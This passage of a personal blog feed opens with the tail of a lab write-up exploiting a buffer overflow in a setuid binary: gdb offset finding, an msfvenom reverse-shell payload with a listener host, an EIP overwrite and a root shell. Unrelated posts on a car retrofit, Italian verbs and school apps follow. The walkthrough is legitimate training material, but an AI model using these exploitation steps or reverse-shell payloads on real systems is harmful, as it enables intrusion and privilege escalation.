<code>pattern_offset.rb</code> to get the exact number of characters needed to reach the <code>eip</code> register:</p> <pre><code class="language-bash">/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336 [*] Exact match at offset 2060 </code></pre> <h1 id="taking-control-of-the-eip">Taking Control of the <code>eip</code></h1> <p>Voila! We now know it takes 2060 bytes to reach the eip. We can verify this with a special statement:</p> <pre><code>run $(python -c "print '\x55' * 2060 + '\x66' * 4") ... Program received signal SIGSEGV, Segmentation fault. 0x66666666 in ?? () </code></pre> <p>This statement fills the buffer with <code>\x55</code> bytes and then fills the <code>eip</code> with <code>\x66</code>. If we run <code>info registers</code> we can see this happening (trimmed for easy reading):</p> <pre><code>(gdb) info registers ... ebx 0x55555555 1431655765 ... ebp 0x55555555 0x55555555 ... eip 0x66666666 0x66666666 ... </code></pre> <p>Now we know how to buffer overflow and take control of the <code>eip</code> to point to our own malicious address.</p> <h1 id="identify-initial-payload-length">Identify initial payload length</h1> <p>Now we need to generate a payload with msfvenom. I ran <code>uname -a</code> on our machine and we have an Ubuntu x86_64 linux machine.</p> <p>Now we can craft the payload:</p> <pre><code>msfvenom -p linux/x86/shell_reverse_tcp LHOST=&lt;ip&gt; lport=4444 --platform linux --format c ... Payload size: 74 bytes ... </code></pre> <p>This tells us our payload is 74 bytes.</p> <p>Before we use our payload, we need to identify any bad characters the payload cannot have. We need to do some math to figure out exactly what to craft:</p> <pre><code> Buffer = "\x55" * (2064 - 256 - 4) = 1804 CHARS = "\x00\x01\x02...\xfe\xff" # 256 EIP = "\x66" * 4' </code></pre> <p>So our buffer gets 1800 bytes, our character string is 256 bytes, and our <code>eip</code> is 4 bytes.</p> <p>We will need to set a breakpoint so we can investigate the memory without the program crashing:</p> <pre><code>(gdb) disas main Dump of assembler code for function main: 0x0000073b &lt;+0&gt;: lea 0x4(%esp),%ecx 0x0000073f &lt;+4&gt;: and $0xfffffff0,%esp 0x00000742 &lt;+7&gt;: pushl -0x4(%ecx) 0x00000745 &lt;+10&gt;: push %ebp 0x00000746 &lt;+11&gt;: mov %esp,%ebp 0x00000748 &lt;+13&gt;: push %esi 0x00000749 &lt;+14&gt;: push %ebx 0x0000074a &lt;+15&gt;: push %ecx 0x0000074b &lt;+16&gt;: sub $0xc,%esp 0x0000074e &lt;+19&gt;: call 0x590 &lt;__x86.get_pc_thunk.bx&gt; 0x00000753 &lt;+24&gt;: add $0x1869,%ebx 0x00000759 &lt;+30&gt;: mov %ecx,%esi 0x0000075b &lt;+32&gt;: sub $0x4,%esp 0x0000075e &lt;+35&gt;: push $0x0 0x00000760 &lt;+37&gt;: push $0x0 0x00000762 &lt;+39&gt;: push $0x0 0x00000764 &lt;+41&gt;: call 0x4b0 &lt;setresuid@plt&gt; 0x00000769 &lt;+46&gt;: add $0x10,%esp 0x0000076c &lt;+49&gt;: mov 0x4(%esi),%eax 0x0000076f &lt;+52&gt;: add $0x4,%eax 0x00000772 &lt;+55&gt;: mov (%eax),%eax 0x00000774 &lt;+57&gt;: sub $0xc,%esp 0x00000777 &lt;+60&gt;: push %eax 0x00000778 &lt;+61&gt;: call 0x68d &lt;leavemsg&gt; 0x0000077d &lt;+66&gt;: add $0x10,%esp 0x00000780 &lt;+69&gt;: sub $0xc,%esp 0x00000783 &lt;+72&gt;: lea -0x175c(%ebx),%eax 0x00000789 &lt;+78&gt;: push %eax 0x0000078a &lt;+79&gt;: call 0x4f0 &lt;outs@plt&gt; 0x0000078f &lt;+84&gt;: add $0x10,%esp 0x00000792 &lt;+87&gt;: mov $0x0,%eax 0x00000797 &lt;+92&gt;: lea -0xc(%ebp),%esp 0x0000079a &lt;+95&gt;: pop %ecx 0x0000079b &lt;+96&gt;: pop %ebx 0x0000079c &lt;+97&gt;: pop %esi 0x0000079d &lt;+98&gt;: pop %ebp 0x0000079e &lt;+99&gt;: lea -0x4(%ecx),%esp 0x000007a1 &lt;+102&gt;: ret </code></pre> <p>The best breakpoint would be at <code>0x778</code> where it makes the call to the actual <code>leavemsg</code> function. We can run <code>break leavemsg</code> to break on the function name.</p> <p>Now We use this information to craft our actual testing payload:</p> <pre><code>(gdb) run $(python -c 'print "\x55" * (2064 - 256 - 4) + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4') </code></pre> <p>Once we hit enter, it will pretty immediately hit the breakpoint for our function. Now is the time to examine the memory.</p> <p>We can do so using <code>x/2000xb $esp+750</code>. The important part of this step is to find any chars that have been skipped and record them so <code>msfvenom</code> does not use them in its payload. </p> <p>Here is what I found:</p> <pre><code>\x00\x09\x0a\x20 </code></pre> <p>We can pass this in as a string for the option <code>--bad-chars</code> so <code>msfvenom</code> will avoid them:</p> <h1 id="generate-final-payload">Generate final payload</h1> <pre><code>msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.x.x lport=4444 --bad-chars="\x00\x09\x0a\x20" --platform linux --format c ... Payload size: 95 bytes ... </code></pre> <p>Now we need to take the payload output and combine it into one big string.</p> <p>With our string, we need to do one last math problem for final buffer and NOPs size:</p> <pre><code> Buffer = "\x55" * (2064 - 100 - 95 - 4) = 790 NOPs = "\x90" * 100 Shellcode = "\xbd\x95\xf6...\x02\xce" #95 EIP = "\x66" * 4' </code></pre> <p>And use this in the <code>run $(python -c 'print ...')</code> command.</p> <h1 id="find-address-for-payload">Find address for payload</h1> <p>Our code will hit the breakpoint again. Now we need to find a line or two in the NOPs before our shellcode appears and use that memory address in the <code>eip</code>. Our shell code starts with <code>0x48 0x31 ...</code> and will be the first bytes after the sequence of `0x90` bytes.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/08/image-94.webp"/></p> <p>Our shellcode starts at <code>0xffffd73a</code>. I'm going to set the <code>eip</code> a bit earlier at <code>0xffffd72a</code>. This machine will need the bytes in little endian format, so the eip will be <code>"\x2a\xd7\xff\xff"</code>.</p> <h1 id="execute-final-payload">Execute final payload</h1> <p>We replace the <code>"\x66" * 4</code> in our run command with this new address. Finally let's boot a new terminal with <code>nc -lvnp 4444</code> so the connection can complete. This binary has root privileges with the suid set, so if we connect to it from <code>gdb</code>, it will run as the user gdb is running as. </p> <p>So instead of doing another <code>(gdb) run</code> command, <code>quit</code> gdb and in the main shell run:</p> <pre><code>./leave_msg $(python -c 'print "\x55" * (2064 - 124 - 95 - 4) + "\x90" * 124 + "&lt;payload&gt;" + "\x3a\xd7\xff\xff"') </code></pre> <p>Our nc listener lights up, and <code>whoami</code> tells us we are root! Let's grab that flag int /root/flag.txt</p>2021-08-12T17:48:34-04:002026-05-18T21:51:42.944592-04:00Eric Turnertag:blog.ericturner.it,2021-08-12:/2021/08/12/password-protection-for-htb-writeups/

<p>Multiple platforms, HackTheBox, TryHackMe, BlueTeamLabsOnline, express they do not want the answers/flags posted until the challenge is retired. Thus, for any active challenge on these platforms, the bulk of the content is password protected. </p> <p>For password-protected challenge write-ups: use the challenge flag as the password to the blog post …</p>

<p>Multiple platforms, HackTheBox, TryHackMe, BlueTeamLabsOnline, express they do not want the answers/flags posted until the challenge is retired. Thus, for any active challenge on these platforms, the bulk of the content is password protected. </p> <p>For password-protected challenge write-ups: use the challenge flag as the password to the blog post</p> <p>For password-protected machine write-ups:</p> <ul> <li>HackTheBox uses the root password hash or Admin password hash (early writeups may have used the system flag, however the platform implemented flag rotation and this does not work. It looks like as of 2024, challenges also have flag rotation so it will be tricky to properly password protect these with nothing to vet and unlock for users who have completed the task. You can still reach out to me for assistance on some of my writeups.</li> <li>BlueTeamLabs I have custom created passwords for them until they are retired so you would need to reach out for these to be unlocked.</li> </ul> <pre><code> # linux example of password hash for HackTheBox root:$6$vSJ....krWP0:18577:0:99999:7::: # windows example of password hash for HackTheBox Administrator:500:aad3b435...3b435b51404ee:d1256c...5017::: </code></pre> <p>You can find unlocked walkthroughs for retired challenges on any platform using the <a href="/tag/unlocked-walkthrough">#unlocked-walkthrough</a> tag.</p>2020-08-26T13:46:52-04:002026-05-17T14:03:45.427864-04:00Eric Turnertag:blog.ericturner.it,2020-08-26:/2020/08/26/2018-mustang-technology-retrofit/

<p><img alt="" src="https://blog.ericturner.it/uploads/2020/08/IMG_7984.webp"/></p> <p>Before the retrofit, my original cluster with Sync 2 (MyFordTouch) system </p> <p>I know I bought my vehicle at a higher mileage (50k) but I have loved essentially every detail of it. However, I definitely liked the new technology in the 2018+ models including a new digital speedometer cluster and the …</p>

<p><img alt="" src="https://blog.ericturner.it/uploads/2020/08/IMG_7984.webp"/></p> <p>Before the retrofit, my original cluster with Sync 2 (MyFordTouch) system </p> <p>I know I bought my vehicle at a higher mileage (50k) but I have loved essentially every detail of it. However, I definitely liked the new technology in the 2018+ models including a new digital speedometer cluster and the Sync 3 system which supported Apple CarPlay. Turns out I was not alone. I stumbled across a <a href="https://www.mustang6g.com/forums/threads/2018-digital-cluster-installation-guide.99275/">forum post here</a> where someone had actually figured out how to port backwards the digital cluster! I already knew Sync 3 was compatible, as the 2016's had the upgrade whereas my 2015 did not.</p> <p>I ordered from Hellhorse Performance during the beginning of the Coronavirus shelter-in-place order back in March. I was itching to have something to do, and installation of a new cluster and sync 3 system sounded like a great project to keep me busy. A few weeks later, and the boxes arrived!</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2020/08/IMG_0996.webp"/></p> <p>All the pieces laid out!</p> <p>In total, I had to tear out the dash, and steering wheel column. 3 out of 4 of the buttons in the steering wheel needed replacement, the original cluster bezel needed replacement, and part of the dash pad behind the original cluster needed trimmed in order to make room for the increased depth of the new cluster.</p> <p><img alt="Cluster tear out" src="https://blog.ericturner.it/uploads/2020/08/IMG_1020.webp"/></p> <p>View of the tear-out</p> <p>Once all of the appropriate hardware pieces were installed, next came the programming. I decided to do the programming myself, which was also super easy due to the template the original poster attached. I went onto got my original As-Built Data from <a href="https://www.motorcraftservice.com/AsBuilt">Ford Motorcraft's site here</a>, and then copied it into a spreadsheet for safe keeping. I then had to go through the template and modify all the lines for the SCCM, IPC, and APIM systems in order to reflect the new buttons on the steering wheel, new information system (sync 3) and ensure my mileage matched up with my old odometer.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2020/08/IMG_1034.webp"/></p> <p>Finished view! 15 Apr 2020</p> <p>But it was definitely super rewarding to custom program the pieces and get everything to work. It feels like a brand new car on the interior!</p> <p>As of the time of writing, 26 Aug 2020, I also have a new tuner mounted to my windshield as well. Definitely a lot of new technology in the car now!</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2020/08/IMG_2176.webp"/></p> <p>Digital Cluster, Sync 3 w/ CarPlay &amp; my new tuner!</p>2019-12-20T14:22:08-05:002026-05-17T14:34:36.539322-04:00Eric Turnertag:blog.ericturner.it,2019-12-20:/2019/12/20/italian-verb-tense-cheat-sheet/

<p><img alt="" src="https://blog.ericturner.it/uploads/2019/12/image.webp"/></p> <p>View of the verb tense sheet</p> <p>I have been using Busuu to learn Italian for the past few weeks (2020 new years resolution is to learn as much Italian as I can!). However all the varying verb tenses can be hard to keep up on. Here is a cheat sheet …</p>

<p><img alt="" src="https://blog.ericturner.it/uploads/2019/12/image.webp"/></p> <p>View of the verb tense sheet</p> <p>I have been using Busuu to learn Italian for the past few weeks (2020 new years resolution is to learn as much Italian as I can!). However all the varying verb tenses can be hard to keep up on. Here is a cheat sheet I made in Google Sheets that anyone else can feel free to copy or print out for their own use!</p> <p><a href="https://docs.google.com/spreadsheets/d/1QZ4JdB1t4SYbum2nlbAnkGfC2fG20yXEMgEzMUGNNeo/edit#gid=0"></a><a href="https://docs.google.com/spreadsheets/d/1QZ4JdB1t4SYbum2nlbAnkGfC2fG20yXEMgEzMUGNNeo/edit?usp=sharing">https://docs.google.com/spreadsheets/d/1QZ4JdB1t4SYbum2nlbAnkGfC2fG20yXEMgEzMUGNNeo/edit#gid=0</a></p>2019-03-05T17:01:56-05:002026-05-17T14:03:45.440862-04:00Eric Turnertag:blog.ericturner.it,2019-03-05:/2019/03/05/end-of-year-device-check-in-app/

<p>Another application I built at work, during the month of February, that I am super proud of is a way for us to check in devices at our high school. Essentially, a teacher logs in and the application will automatically pull a list of the teacher's classes. Then the teacher …</p>

<p>Another application I built at work, during the month of February, that I am super proud of is a way for us to check in devices at our high school. Essentially, a teacher logs in and the application will automatically pull a list of the teacher's classes. Then the teacher selects a class and the application will grab all the enrolled students from our SIS and then use that list to communicate with our Asset Management software and return a list of all the devices assigned to those students in a beautiful array of cards! Just in case additional devices are found, teachers can add those at the top. In this testing page, I did not add all the icons that is in production, however you can see on the added devices that the icons are for collecting accessories such as case, protective shield and charger. It allows us to at a glance see if all the accessories were collected. Clicking on an asset pops up a modal to verify the correct student who is assigned is the one turning in the device, and capturing information on the accessories! All checked accessories' icons will change green based on what is selected in the form. Proud of how this one turned out as well!</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2019/03/Screenshot_2019-03-05-High-School-Checkin1-e1551806553232.webp"/></p> <p>View of the dynamically loaded assets for all enrolled students in a specific class!</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2019/03/Screenshot_2019-03-05-High-School-Checkin2.webp"/></p> <p>View of the modal to collect information about a specific device.</p>2019-03-05T16:50:41-05:002026-05-17T14:03:45.465879-04:00Eric Turnertag:blog.ericturner.it,2019-03-05:/2019/03/05/prom-tickets-web-app/

<p>I work in a school district and one of my latest projects is to create a custom application for prom tickets. It features the ability to scan a student's ID and will verify the student against a list for eligibility and then automatically send out tickets to the students for …</p>

<p>I work in a school district and one of my latest projects is to create a custom application for prom tickets. It features the ability to scan a student's ID and will verify the student against a list for eligibility and then automatically send out tickets to the students for Prom all at once! Here are some screenshots of the app of the beginning process where it can check for eligibility. Also attached is a screenshot where the student would automatically get the tickets sent to their email! Proud of how it turned out! </p> <p><img alt="login screen" src="https://blog.ericturner.it/uploads/2019/03/Screenshot_2019-03-05-Prom-Login.webp"/></p> <p>Login Screen with Google SSO</p> <p><img alt="eligibility checking" src="https://blog.ericturner.it/uploads/2019/03/Screenshot_2019-03-05-Prom-Ticket-Manager.webp"/></p> <p>Eligibility Checking</p> <p><img alt="automated tickets emailed" src="https://blog.ericturner.it/uploads/2019/03/Screenshot_2019-03-05-Your-Prom-Tickets-eturner4-warren-k12-in-us-MSD-Warren-Township-Mail.webp"/></p> <p>Automatically sends students their tickets!</p>